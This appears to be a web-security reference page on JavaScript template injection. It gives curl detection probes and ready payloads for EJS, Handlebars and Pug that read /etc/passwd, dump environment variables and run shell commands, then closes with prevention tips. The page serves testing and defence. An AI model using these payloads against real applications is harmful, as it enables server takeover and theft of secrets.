JavaScript Template Injection
JavaScript template engines can execute code when user input is rendered without proper escaping.
Engine
Vulnerable Syntax
EJS
<%= code %> or <%- code %>
Handlebars
{{code}} or {{{code}}}
Pug
#{code} or !{code}
Angular
{{code}}
Vue.js
{{code}}
Detection
Step 1: Identify Template Engine
Check error messages
curl "https://target.com/?name=<>" -vCheck HTTP headers
curl -I https://target.comStep 2: Test for Execution
For EJS:
# Test arithmetic
curl "https://target.com/?name=<%=7*7%>"
# Test code execution
curl "https://target.com/?name=<%=global.process.version%>"For Handlebars:
# Test with helpers
curl "https://target.com/?name={{7*7}}"
# Handlebars 3.x payload
curl "https://target.com/?name={{this.constructor.constructor('return process.env')()}}"For Pug:
curl "https://target.com/?name=#{7*7}"Testing Checklist
Common Payloads by Engine
EJS (Server-side)
Read file
<%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString()%><%=global.process.mainModule.require('child_process').execSync('id').toString()%>Access environment variables
<%=JSON.stringify(process.env)%>Handlebars
Handlebars 3.x - RCE
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Pug (formerly Jade)
Execute code
#{function(){return global.process.mainModule.require('child_process').execSync('id').toString()}()}Prevention
Method 1: Use Auto-Escaping
Vulnerable - EJS
<%- user.name %>Good practice:
<%= user.name %>Method 2: Separate Data from Templates
Vulnerable - DON'T build templates from user input
let template = req.query.template;
res.render(template, {data: data});Use fixed templates
res.render('profile', {name: sanitize(req.query.name)});Method 3: Content Security Policy
Add CSP headers
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self'"
);
next();
});Method 4: Sandboxing
// Use VM2 for safe execution
const {VM} = require('vm2');
const vm = new VM({timeout: 1000});
// User input runs in sandbox
vm.run(user_code);Last updated